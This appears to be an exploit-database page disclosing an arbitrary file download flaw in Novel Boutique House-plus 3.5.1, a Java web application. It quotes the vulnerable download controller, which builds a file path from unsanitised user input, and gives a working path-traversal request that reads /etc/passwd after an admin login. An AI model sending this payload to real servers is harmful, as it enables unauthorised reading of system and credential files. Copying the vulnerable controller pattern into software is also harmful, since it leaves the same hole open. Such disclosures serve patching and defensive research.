Novel boutique houseplus 3.5.1 arbitrary file download Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2021-03-29 | Type : webapps | Platform : java
This exploit / vulnerability Novel boutique houseplus 3.5.1 arbitrary file download is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: Novel Boutique House-plus 3.5.1 - Arbitrary File Download
# Date: 27/03/2021
# Exploit Author: tuyiqiang
# Vendor Homepage: https://xiongxyang.gitee.io/
# Software Link: https://gitee.com/novel_dev_team/novel-plus,https://github.com/201206030/novel-plus
# Version: all
# Tested on: linux

Vulnerable code:

com/java2nb/common/controller/FileController.java

@RequestMapping(value = "/download")
public void fileDownload(String filePath,String fileName, HttpServletResponse resp) throws Exception {
String realFilePath = jnConfig.getUploadPath() + filePath;
InputStream in = new FileInputStream(realFilePath);
fileName = URLEncoder.encode(fileName, "UTF-8");
resp.setHeader("Content-Disposition", "attachment;filename=" + fileName);

resp.setContentLength(in.available());

OutputStream out = resp.getOutputStream();
byte[] b = new byte[1024];
int len = 0;
while ((len = in.read(b)) != -1) {
out.write(b, 0, len);
}
out.flush();
out.close();
in.close();
}


Guide:

1. Log in to background management
2. http://xxxx/common/sysFile/download?filePath=../../../../../../../../../../../../../../../../../etc/passwd&fileName=passwd